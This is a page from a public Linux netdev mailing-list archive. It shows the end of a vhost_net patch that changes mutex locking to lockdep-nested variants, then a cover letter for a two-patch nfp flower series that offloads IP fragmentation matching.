+ mutex_lock_nested(&vq->mutex, 1);
vhost_disable_notify(&net->dev, vq);
preempt_disable();
@@ -763,7 +763,7 @@ static void handle_rx(struct vhost_net *net)
struct iov_iter fixup;
__virtio16 num_buffers;
- mutex_lock(&vq->mutex);
+ mutex_lock_nested(&vq->mutex, 0);
sock = vq->private_data;
if (!sock)
goto out;
--
2.7.4
^ permalink raw reply related
* [PATCH net-next 0/2] nfp: flower: add ip fragmentation offloading support
From: Simon Horman @ 2018-03-26 8:16 UTC (permalink / raw)
To: David Miller; +Cc: netdev, oss-drivers, Pieter Jansen van Vuuren, Simon Horman
Pieter Jansen van Vuuren says:
This set allows offloading IP fragmentation classification. It Implements
ip fragmentation match offloading for both IPv4 and IPv6 and offloads
frag, nofrag, first and nofirstfrag classification.
Pieter Jansen van Vuuren (2):
nfp: flower: refactor shared ip header in match offload
nfp: flower: implement ip fragmentation match offload
drivers/net/ethernet/netronome/nfp/flower/cmsg.h | 22 ++++---
drivers/net/ethernet/netronome/nfp/flower/match.c | 73 ++++++++++++----------
.../net/ethernet/netronome/nfp/flower/offload.c | 15 +++++
3 files changed, 68 insertions(+), 42 deletions(-)
--
2.11.0
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox